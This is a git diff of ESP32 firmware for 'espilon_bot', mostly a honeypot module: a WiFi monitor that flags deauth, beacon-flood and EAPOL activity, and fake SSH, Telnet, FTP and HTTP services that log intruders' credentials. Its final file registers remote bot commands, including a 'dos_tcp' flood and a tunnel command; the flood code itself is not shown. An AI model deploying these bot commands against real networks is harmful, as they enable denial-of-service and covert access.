static uint32_t cnt_eapol = 0;
|
||||
|
||||
/* Multi-source beacon flood tracker */
|
||||
#define BEACON_TRACK_MAX 4
|
||||
|
||||
typedef struct {
|
||||
uint8_t mac[6];
|
||||
uint32_t count;
|
||||
uint32_t start;
|
||||
bool alerted;
|
||||
} beacon_tracker_t;
|
||||
|
||||
static beacon_tracker_t beacon_trackers[BEACON_TRACK_MAX];
|
||||
static int beacon_tracker_count = 0;
|
||||
|
||||
/* ============================================================
|
||||
* IEEE 802.11 helpers
|
||||
* ============================================================ */
|
||||
|
||||
/* Frame control subtypes */
|
||||
#define WLAN_FC_TYPE_MGMT 0x00
|
||||
#define WLAN_FC_STYPE_PROBE 0x40 /* Probe Request */
|
||||
#define WLAN_FC_STYPE_BEACON 0x80 /* Beacon */
|
||||
#define WLAN_FC_STYPE_DEAUTH 0xC0 /* Deauthentication */
|
||||
|
||||
/* EAPOL: data frame with ethertype 0x888E */
|
||||
#define ETHERTYPE_EAPOL 0x888E
|
||||
|
||||
static void mac_to_str(const uint8_t *mac, char *buf, size_t len)
|
||||
{
|
||||
snprintf(buf, len, "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Beacon flood helper — find or create tracker for MAC
|
||||
* ============================================================ */
|
||||
static beacon_tracker_t *beacon_find_or_create(const uint8_t *mac, uint32_t now)
|
||||
{
|
||||
/* Search existing */
|
||||
for (int i = 0; i < beacon_tracker_count; i++) {
|
||||
if (memcmp(beacon_trackers[i].mac, mac, 6) == 0)
|
||||
return &beacon_trackers[i];
|
||||
}
|
||||
|
||||
/* Evict oldest if full */
|
||||
if (beacon_tracker_count >= BEACON_TRACK_MAX) {
|
||||
int oldest = 0;
|
||||
for (int i = 1; i < beacon_tracker_count; i++) {
|
||||
if (beacon_trackers[i].start < beacon_trackers[oldest].start)
|
||||
oldest = i;
|
||||
}
|
||||
if (oldest < beacon_tracker_count - 1)
|
||||
beacon_trackers[oldest] = beacon_trackers[beacon_tracker_count - 1];
|
||||
beacon_tracker_count--;
|
||||
}
|
||||
|
||||
beacon_tracker_t *t = &beacon_trackers[beacon_tracker_count++];
|
||||
memcpy(t->mac, mac, 6);
|
||||
t->count = 0;
|
||||
t->start = now;
|
||||
t->alerted = false;
|
||||
return t;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Promiscuous RX callback
|
||||
* ============================================================ */
|
||||
static void wifi_monitor_rx_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
if (!mon_running)
|
||||
return;
|
||||
|
||||
const wifi_promiscuous_pkt_t *pkt = (const wifi_promiscuous_pkt_t *)buf;
|
||||
const uint8_t *frame = pkt->payload;
|
||||
uint16_t frame_len = pkt->rx_ctrl.sig_len;
|
||||
|
||||
if (frame_len < 24)
|
||||
return;
|
||||
|
||||
uint8_t fc0 = frame[0];
|
||||
uint8_t fc_type = fc0 & 0x0C; /* bits 2-3 */
|
||||
uint8_t fc_subtype = fc0 & 0xF0; /* bits 4-7 */
|
||||
|
||||
/* Source MAC (addr2 = transmitter) at offset 10 */
|
||||
const uint8_t *src_mac = &frame[10];
|
||||
char mac_str[18];
|
||||
|
||||
if (type == WIFI_PKT_MGMT) {
|
||||
if (fc_type == WLAN_FC_TYPE_MGMT) {
|
||||
|
||||
/* --- Probe Request --- */
|
||||
if (fc_subtype == WLAN_FC_STYPE_PROBE) {
|
||||
cnt_probe++;
|
||||
if ((cnt_probe % PROBE_RATE_LIMIT) == 1) {
|
||||
mac_to_str(src_mac, mac_str, sizeof(mac_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "count=%lu",
|
||||
(unsigned long)cnt_probe);
|
||||
event_send("WIFI_PROBE", "LOW",
|
||||
mac_str, "0.0.0.0", 0, 0, detail, NULL);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* --- Deauthentication --- */
|
||||
if (fc_subtype == WLAN_FC_STYPE_DEAUTH) {
|
||||
cnt_deauth++;
|
||||
if ((cnt_deauth % DEAUTH_RATE_LIMIT) == 1) {
|
||||
mac_to_str(src_mac, mac_str, sizeof(mac_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "reason=%d count=%lu",
|
||||
(frame_len >= 26) ? (frame[24] | (frame[25] << 8)) : 0,
|
||||
(unsigned long)cnt_deauth);
|
||||
event_send("WIFI_DEAUTH", "HIGH",
|
||||
mac_str, "0.0.0.0", 0, 0, detail, NULL);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* --- Beacon flood detection (multi-source) --- */
|
||||
if (fc_subtype == WLAN_FC_STYPE_BEACON) {
|
||||
uint32_t now = (uint32_t)(xTaskGetTickCount() *
|
||||
portTICK_PERIOD_MS);
|
||||
|
||||
beacon_tracker_t *bt = beacon_find_or_create(src_mac, now);
|
||||
|
||||
if ((now - bt->start) >= BEACON_WINDOW_MS) {
|
||||
/* Window expired, reset */
|
||||
bt->start = now;
|
||||
bt->count = 1;
|
||||
bt->alerted = false;
|
||||
} else {
|
||||
bt->count++;
|
||||
if (bt->count >= BEACON_FLOOD_THRESHOLD && !bt->alerted) {
|
||||
bt->alerted = true;
|
||||
cnt_beacon++;
|
||||
mac_to_str(src_mac, mac_str, sizeof(mac_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail),
|
||||
"beacons=%lu window_ms=%d",
|
||||
(unsigned long)bt->count,
|
||||
BEACON_WINDOW_MS);
|
||||
event_send("WIFI_BEACON_FLOOD", "HIGH",
|
||||
mac_str, "0.0.0.0", 0, 0, detail, NULL);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* --- EAPOL detection (data frames with 802.1X ethertype) --- */
|
||||
if (type == WIFI_PKT_DATA && frame_len >= 36) {
|
||||
/* LLC/SNAP header starts at offset 24 for data frames:
|
||||
* 24: AA AA 03 00 00 00 [ethertype_hi] [ethertype_lo] */
|
||||
if (frame[24] == 0xAA && frame[25] == 0xAA && frame[26] == 0x03) {
|
||||
uint16_t ethertype = (frame[30] << 8) | frame[31];
|
||||
if (ethertype == ETHERTYPE_EAPOL) {
|
||||
cnt_eapol++;
|
||||
if ((cnt_eapol % EAPOL_RATE_LIMIT) == 1) {
|
||||
mac_to_str(src_mac, mac_str, sizeof(mac_str));
|
||||
char detail[64];
|
||||
snprintf(detail, sizeof(detail), "count=%lu",
|
||||
(unsigned long)cnt_eapol);
|
||||
event_send("WIFI_EAPOL", "CRITICAL",
|
||||
mac_str, "0.0.0.0", 0, 0, detail, NULL);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Monitor task (just keeps alive, callback does the work)
|
||||
* ============================================================ */
|
||||
static void wifi_monitor_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
esp_err_t err = esp_wifi_set_promiscuous_rx_cb(wifi_monitor_rx_cb);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "set_promiscuous_rx_cb failed: %s", esp_err_to_name(err));
|
||||
goto done;
|
||||
}
|
||||
|
||||
err = esp_wifi_set_promiscuous(true);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "set_promiscuous(true) failed: %s", esp_err_to_name(err));
|
||||
goto done;
|
||||
}
|
||||
|
||||
/* Filter: management + data frames only */
|
||||
wifi_promiscuous_filter_t filter = {
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT |
|
||||
WIFI_PROMIS_FILTER_MASK_DATA
|
||||
};
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
|
||||
ESP_LOGI(TAG, "WiFi monitor started");
|
||||
mon_running = true;
|
||||
|
||||
/* Idle loop, checking for stop request */
|
||||
while (!mon_stop_req) {
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
}
|
||||
|
||||
esp_wifi_set_promiscuous(false);
|
||||
esp_wifi_set_promiscuous_rx_cb(NULL);
|
||||
|
||||
done:
|
||||
mon_running = false;
|
||||
mon_stop_req = false;
|
||||
ESP_LOGI(TAG, "WiFi monitor stopped");
|
||||
mon_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
void hp_wifi_monitor_start(void)
|
||||
{
|
||||
if (mon_running || mon_task) {
|
||||
ESP_LOGW(TAG, "WiFi monitor already running");
|
||||
return;
|
||||
}
|
||||
|
||||
cnt_probe = cnt_deauth = cnt_beacon = cnt_eapol = 0;
|
||||
memset(beacon_trackers, 0, sizeof(beacon_trackers));
|
||||
beacon_tracker_count = 0;
|
||||
mon_stop_req = false;
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(wifi_monitor_task, "hp_wifi",
|
||||
WIFI_MON_STACK, NULL, WIFI_MON_PRIO, &mon_task, WIFI_MON_CORE);
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create WiFi monitor task");
|
||||
mon_task = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void hp_wifi_monitor_stop(void)
|
||||
{
|
||||
if (!mon_running && !mon_task) {
|
||||
ESP_LOGW(TAG, "WiFi monitor not running");
|
||||
return;
|
||||
}
|
||||
mon_stop_req = true;
|
||||
ESP_LOGI(TAG, "WiFi monitor stop requested");
|
||||
}
|
||||
|
||||
bool hp_wifi_monitor_running(void)
|
||||
{
|
||||
return mon_running;
|
||||
}
|
||||
|
||||
int hp_wifi_monitor_status(char *buf, size_t len)
|
||||
{
|
||||
return snprintf(buf, len,
|
||||
"running=%s probes=%lu deauth=%lu beacon_flood=%lu eapol=%lu",
|
||||
mon_running ? "yes" : "no",
|
||||
(unsigned long)cnt_probe,
|
||||
(unsigned long)cnt_deauth,
|
||||
(unsigned long)cnt_beacon,
|
||||
(unsigned long)cnt_eapol);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_HONEYPOT */
|
||||
13
espilon_bot/components/mod_honeypot/hp_wifi_monitor.h
Normal file
13
espilon_bot/components/mod_honeypot/hp_wifi_monitor.h
Normal file
@ -0,0 +1,13 @@
|
||||
/*
|
||||
* hp_wifi_monitor.h
|
||||
* WiFi promiscuous-mode monitor: probe requests, deauth frames,
|
||||
* beacon flood, EAPOL capture detection.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
void hp_wifi_monitor_start(void);
|
||||
void hp_wifi_monitor_stop(void);
|
||||
bool hp_wifi_monitor_running(void);
|
||||
int hp_wifi_monitor_status(char *buf, size_t len);
|
||||
41
espilon_bot/components/mod_honeypot/services/svc_common.h
Normal file
41
espilon_bot/components/mod_honeypot/services/svc_common.h
Normal file
@ -0,0 +1,41 @@
|
||||
/*
|
||||
* svc_common.h
|
||||
* Shared types and helpers for honeypot TCP service handlers.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "lwip/sockets.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
#include "hp_config.h"
|
||||
|
||||
#define MAX_CLIENT_BUF 256
|
||||
|
||||
/* Service runtime descriptor (owned by hp_tcp_services.c) */
|
||||
typedef struct {
|
||||
const char *name;
|
||||
uint16_t port;
|
||||
volatile bool running;
|
||||
volatile bool stop_req;
|
||||
TaskHandle_t task;
|
||||
uint32_t connections;
|
||||
uint32_t auth_attempts;
|
||||
} hp_svc_desc_t;
|
||||
|
||||
/* Client handler signature */
|
||||
typedef void (*hp_client_handler_t)(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc);
|
||||
|
||||
/* Per-service handlers (implemented in svc_*.c) */
|
||||
void handle_ssh_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
|
||||
void handle_telnet_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
|
||||
void handle_http_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
|
||||
void handle_ftp_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
|
||||
68
espilon_bot/components/mod_honeypot/services/svc_ftp.c
Normal file
68
espilon_bot/components/mod_honeypot/services/svc_ftp.c
Normal file
@ -0,0 +1,68 @@
|
||||
/*
|
||||
* svc_ftp.c
|
||||
* FTP honeypot handler — banner + USER/PASS capture + tarpit.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <strings.h>
|
||||
#include "svc_common.h"
|
||||
|
||||
void handle_ftp_client(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc)
|
||||
{
|
||||
char banner[128];
|
||||
hp_config_get_banner("ftp", banner, sizeof(banner));
|
||||
send(client_fd, banner, strlen(banner), 0);
|
||||
|
||||
svc->connections++;
|
||||
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 21, "service=ftp", NULL);
|
||||
|
||||
char user[64] = {0}, pass[64] = {0};
|
||||
|
||||
for (int round = 0; round < 4; round++) {
|
||||
char buf[MAX_CLIENT_BUF];
|
||||
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
|
||||
if (n <= 0) break;
|
||||
buf[n] = '\0';
|
||||
|
||||
if (strncasecmp(buf, "USER ", 5) == 0) {
|
||||
strncpy(user, buf + 5, sizeof(user) - 1);
|
||||
user[sizeof(user) - 1] = '\0';
|
||||
char *p = user; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0';
|
||||
const char *resp = "331 Password required\r\n";
|
||||
send(client_fd, resp, strlen(resp), 0);
|
||||
} else if (strncasecmp(buf, "PASS ", 5) == 0) {
|
||||
strncpy(pass, buf + 5, sizeof(pass) - 1);
|
||||
pass[sizeof(pass) - 1] = '\0';
|
||||
char *p = pass; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0';
|
||||
const char *resp = "530 Login incorrect\r\n";
|
||||
send(client_fd, resp, strlen(resp), 0);
|
||||
break;
|
||||
} else if (strncasecmp(buf, "QUIT", 4) == 0) {
|
||||
const char *resp = "221 Goodbye\r\n";
|
||||
send(client_fd, resp, strlen(resp), 0);
|
||||
break;
|
||||
} else {
|
||||
const char *resp = "500 Unknown command\r\n";
|
||||
send(client_fd, resp, strlen(resp), 0);
|
||||
}
|
||||
}
|
||||
|
||||
if (user[0] || pass[0]) {
|
||||
svc->auth_attempts++;
|
||||
char detail[192];
|
||||
snprintf(detail, sizeof(detail),
|
||||
"service=ftp user='%.32s' pass='%.32s'", user, pass);
|
||||
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 21, detail, NULL);
|
||||
}
|
||||
|
||||
int tarpit = hp_config_get_threshold("tarpit_ms");
|
||||
if (tarpit > 0)
|
||||
vTaskDelay(pdMS_TO_TICKS(tarpit));
|
||||
}
|
||||
|
||||
#endif
|
||||
106
espilon_bot/components/mod_honeypot/services/svc_http.c
Normal file
106
espilon_bot/components/mod_honeypot/services/svc_http.c
Normal file
@ -0,0 +1,106 @@
|
||||
/*
|
||||
* svc_http.c
|
||||
* HTTP honeypot handler — request logging + POST body capture.
|
||||
* Serves a fake login page to capture credentials.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include "svc_common.h"
|
||||
|
||||
/* Extract server name from NVS banner (e.g. "Apache/2.4.54 (Ubuntu)") */
|
||||
static void extract_server_name(char *out, size_t out_len)
|
||||
{
|
||||
char banner[128];
|
||||
hp_config_get_banner("http", banner, sizeof(banner));
|
||||
|
||||
/* Banner format: "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" */
|
||||
char *srv = strstr(banner, "Server: ");
|
||||
if (srv) {
|
||||
srv += 8;
|
||||
char *end = strstr(srv, "\r\n");
|
||||
size_t len = end ? (size_t)(end - srv) : strlen(srv);
|
||||
if (len >= out_len) len = out_len - 1;
|
||||
memcpy(out, srv, len);
|
||||
out[len] = '\0';
|
||||
} else {
|
||||
snprintf(out, out_len, "Apache/2.4.54");
|
||||
}
|
||||
}
|
||||
|
||||
/* Login page body */
|
||||
static const char LOGIN_PAGE[] =
|
||||
"<html><head><title>Admin Panel</title>"
|
||||
"<style>body{font-family:sans-serif;background:#f0f0f0;display:flex;"
|
||||
"justify-content:center;align-items:center;height:100vh;margin:0}"
|
||||
".box{background:#fff;padding:2rem;border-radius:8px;box-shadow:0 2px 8px rgba(0,0,0,.2)}"
|
||||
"input{display:block;margin:0.5rem 0;padding:0.4rem;width:200px}"
|
||||
"button{padding:0.5rem 1rem;cursor:pointer}</style></head>"
|
||||
"<body><div class='box'><h2>Authentication Required</h2>"
|
||||
"<form method='POST' action='/login'>"
|
||||
"<input name='user' placeholder='Username'>"
|
||||
"<input name='pass' type='password' placeholder='Password'>"
|
||||
"<button type='submit'>Login</button>"
|
||||
"</form></div></body></html>";
|
||||
|
||||
void handle_http_client(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc)
|
||||
{
|
||||
svc->connections++;
|
||||
|
||||
char buf[MAX_CLIENT_BUF];
|
||||
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
|
||||
if (n <= 0) return;
|
||||
buf[n] = '\0';
|
||||
|
||||
/* Extract first line without modifying buf (needed for POST body search) */
|
||||
char first_line[130];
|
||||
char *eol = strstr(buf, "\r\n");
|
||||
size_t fl_len = eol ? (size_t)(eol - buf) : (size_t)n;
|
||||
if (fl_len >= sizeof(first_line)) fl_len = sizeof(first_line) - 1;
|
||||
memcpy(first_line, buf, fl_len);
|
||||
first_line[fl_len] = '\0';
|
||||
|
||||
char detail[192];
|
||||
snprintf(detail, sizeof(detail), "service=http request='%.128s'", first_line);
|
||||
event_send("SVC_CONNECT", "MEDIUM", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 80, detail, NULL);
|
||||
|
||||
/* Check for POST data → auth attempt */
|
||||
if (strncmp(buf, "POST", 4) == 0) {
|
||||
svc->auth_attempts++;
|
||||
char *body = strstr(buf, "\r\n\r\n");
|
||||
if (body) {
|
||||
body += 4;
|
||||
char post_detail[192];
|
||||
snprintf(post_detail, sizeof(post_detail),
|
||||
"service=http post='%.128s'", body);
|
||||
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 80, post_detail, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
/* Build proper HTTP response */
|
||||
char server_name[64];
|
||||
extract_server_name(server_name, sizeof(server_name));
|
||||
|
||||
int body_len = (int)sizeof(LOGIN_PAGE) - 1;
|
||||
char resp_hdr[256];
|
||||
int hdr_len = snprintf(resp_hdr, sizeof(resp_hdr),
|
||||
"HTTP/1.1 200 OK\r\n"
|
||||
"Server: %s\r\n"
|
||||
"Content-Type: text/html\r\n"
|
||||
"Content-Length: %d\r\n"
|
||||
"Connection: close\r\n\r\n",
|
||||
server_name, body_len);
|
||||
|
||||
send(client_fd, resp_hdr, hdr_len, 0);
|
||||
send(client_fd, LOGIN_PAGE, body_len, 0);
|
||||
|
||||
int tarpit = hp_config_get_threshold("tarpit_ms");
|
||||
if (tarpit > 0)
|
||||
vTaskDelay(pdMS_TO_TICKS(tarpit));
|
||||
}
|
||||
|
||||
#endif
|
||||
42
espilon_bot/components/mod_honeypot/services/svc_ssh.c
Normal file
42
espilon_bot/components/mod_honeypot/services/svc_ssh.c
Normal file
@ -0,0 +1,42 @@
|
||||
/*
|
||||
* svc_ssh.c
|
||||
* SSH honeypot handler — banner + auth attempt capture + tarpit.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include "svc_common.h"
|
||||
|
||||
void handle_ssh_client(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc)
|
||||
{
|
||||
char banner[128];
|
||||
hp_config_get_banner("ssh", banner, sizeof(banner));
|
||||
send(client_fd, banner, strlen(banner), 0);
|
||||
|
||||
svc->connections++;
|
||||
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 22, "service=ssh", NULL);
|
||||
|
||||
/* Read client version string / auth attempt */
|
||||
char buf[MAX_CLIENT_BUF];
|
||||
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
|
||||
if (n > 0) {
|
||||
buf[n] = '\0';
|
||||
while (n > 0 && (buf[n-1] == '\r' || buf[n-1] == '\n'))
|
||||
buf[--n] = '\0';
|
||||
|
||||
svc->auth_attempts++;
|
||||
char detail[192];
|
||||
snprintf(detail, sizeof(detail), "service=ssh payload='%.128s'", buf);
|
||||
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 22, detail, NULL);
|
||||
}
|
||||
|
||||
int tarpit = hp_config_get_threshold("tarpit_ms");
|
||||
if (tarpit > 0)
|
||||
vTaskDelay(pdMS_TO_TICKS(tarpit));
|
||||
}
|
||||
|
||||
#endif
|
||||
60
espilon_bot/components/mod_honeypot/services/svc_telnet.c
Normal file
60
espilon_bot/components/mod_honeypot/services/svc_telnet.c
Normal file
@ -0,0 +1,60 @@
|
||||
/*
|
||||
* svc_telnet.c
|
||||
* Telnet honeypot handler — login prompt + user/pass capture + tarpit.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include "svc_common.h"
|
||||
|
||||
void handle_telnet_client(int client_fd, const char *client_ip,
|
||||
uint16_t client_port, hp_svc_desc_t *svc)
|
||||
{
|
||||
char banner[128];
|
||||
hp_config_get_banner("telnet", banner, sizeof(banner));
|
||||
send(client_fd, banner, strlen(banner), 0);
|
||||
|
||||
svc->connections++;
|
||||
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 23, "service=telnet", NULL);
|
||||
|
||||
/* Read username */
|
||||
char user[64] = {0};
|
||||
int n = recv(client_fd, user, sizeof(user) - 1, 0);
|
||||
if (n > 0) {
|
||||
user[n] = '\0';
|
||||
while (n > 0 && (user[n-1] == '\r' || user[n-1] == '\n'))
|
||||
user[--n] = '\0';
|
||||
}
|
||||
|
||||
/* Send password prompt */
|
||||
const char *pass_prompt = "Password: ";
|
||||
send(client_fd, pass_prompt, strlen(pass_prompt), 0);
|
||||
|
||||
char pass[64] = {0};
|
||||
n = recv(client_fd, pass, sizeof(pass) - 1, 0);
|
||||
if (n > 0) {
|
||||
pass[n] = '\0';
|
||||
while (n > 0 && (pass[n-1] == '\r' || pass[n-1] == '\n'))
|
||||
pass[--n] = '\0';
|
||||
}
|
||||
|
||||
if (user[0] || pass[0]) {
|
||||
svc->auth_attempts++;
|
||||
char detail[192];
|
||||
snprintf(detail, sizeof(detail),
|
||||
"service=telnet user='%.32s' pass='%.32s'", user, pass);
|
||||
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
|
||||
client_ip, client_port, 23, detail, NULL);
|
||||
}
|
||||
|
||||
const char *fail = "\r\nLogin incorrect\r\n";
|
||||
send(client_fd, fail, strlen(fail), 0);
|
||||
|
||||
int tarpit = hp_config_get_threshold("tarpit_ms");
|
||||
if (tarpit > 0)
|
||||
vTaskDelay(pdMS_TO_TICKS(tarpit));
|
||||
}
|
||||
|
||||
#endif
|
||||
9
espilon_bot/components/mod_network/CMakeLists.txt
Normal file
9
espilon_bot/components/mod_network/CMakeLists.txt
Normal file
@ -0,0 +1,9 @@
|
||||
set(SRCS "cmd_network.c" "mod_ping.c" "mod_arp.c" "mod_dos.c")
|
||||
|
||||
if(CONFIG_MODULE_TUNNEL)
|
||||
list(APPEND SRCS "tun_core.c")
|
||||
endif()
|
||||
|
||||
idf_component_register(SRCS ${SRCS}
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES lwip protocol_examples_common esp_wifi core)
|
||||
205
espilon_bot/components/mod_network/cmd_network.c
Normal file
205
espilon_bot/components/mod_network/cmd_network.c
Normal file
@ -0,0 +1,205 @@
|
||||
/*
|
||||
* cmd_network.c
|
||||
* Refactored for new command system (protobuf-based)
|
||||
*/
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_TUNNEL
|
||||
#include "tun_core.h"
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* EXTERNAL SYMBOLS
|
||||
* ============================================================ */
|
||||
int do_ping_cmd(int argc, char **argv, const char *req);
|
||||
void arp_scan_task(void *pvParameters);
|
||||
void start_dos(const char *t_ip, uint16_t t_port, int count);
|
||||
|
||||
#define TAG "CMD_NETWORK"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: ping <host> [...]
|
||||
* ============================================================ */
|
||||
static int cmd_ping(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 1) {
|
||||
msg_error(TAG, "usage: ping <host> [...]", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return do_ping_cmd(argc, argv, req);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: arp_scan
|
||||
* ============================================================ */
|
||||
static int cmd_arp_scan(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
/* Heap-copy request_id for the scan task (freed inside arp_scan_task) */
|
||||
char *req_copy = req ? strdup(req) : NULL;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
arp_scan_task,
|
||||
"arp_scan",
|
||||
6144,
|
||||
req_copy,
|
||||
5,
|
||||
NULL,
|
||||
1
|
||||
);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: dos_tcp <ip> <port> <count>
|
||||
* ============================================================ */
|
||||
static int cmd_dos_tcp(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
if (argc != 3) {
|
||||
msg_error(TAG, "usage: dos_tcp <ip> <port> <count>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
start_dos(
|
||||
argv[0],
|
||||
(uint16_t)atoi(argv[1]),
|
||||
atoi(argv[2])
|
||||
);
|
||||
|
||||
msg_info(TAG, "DOS task started", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_MODULE_TUNNEL
|
||||
/* ============================================================
|
||||
* COMMAND: tun_start <ip> <port>
|
||||
* ============================================================ */
|
||||
static int cmd_tun_start(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
if (argc != 2) {
|
||||
msg_error(TAG, "usage: tun_start <ip> <port>", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (tun_is_running()) {
|
||||
msg_error(TAG, "tunnel already running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int port = atoi(argv[1]);
|
||||
if (port <= 0 || port > 65535) {
|
||||
msg_error(TAG, "invalid port", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!tun_start(argv[0], port, req)) {
|
||||
msg_error(TAG, "tunnel start failed", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
msg_info(TAG, "tunnel starting", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: tun_stop
|
||||
* ============================================================ */
|
||||
static int cmd_tun_stop(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!tun_is_running()) {
|
||||
msg_error(TAG, "tunnel not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
tun_stop();
|
||||
msg_info(TAG, "tunnel stopping", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: tun_status
|
||||
* ============================================================ */
|
||||
static int cmd_tun_status(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
char status[256];
|
||||
tun_get_status(status, sizeof(status));
|
||||
msg_info(TAG, status, req);
|
||||
return 0;
|
||||
}
|
||||
#endif /* CONFIG_MODULE_TUNNEL */
|
||||
|
||||
/* ============================================================
|
||||
* REGISTER COMMANDS
|
||||
* ============================================================ */
|
||||
static const command_t network_cmds[] = {
|
||||
{ "ping", NULL, NULL, 1, 8, cmd_ping, NULL, true },
|
||||
{ "arp_scan", NULL, NULL, 0, 0, cmd_arp_scan, NULL, true },
|
||||
{ "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true },
|
||||
#ifdef CONFIG_MODULE_TUNNEL
|
||||
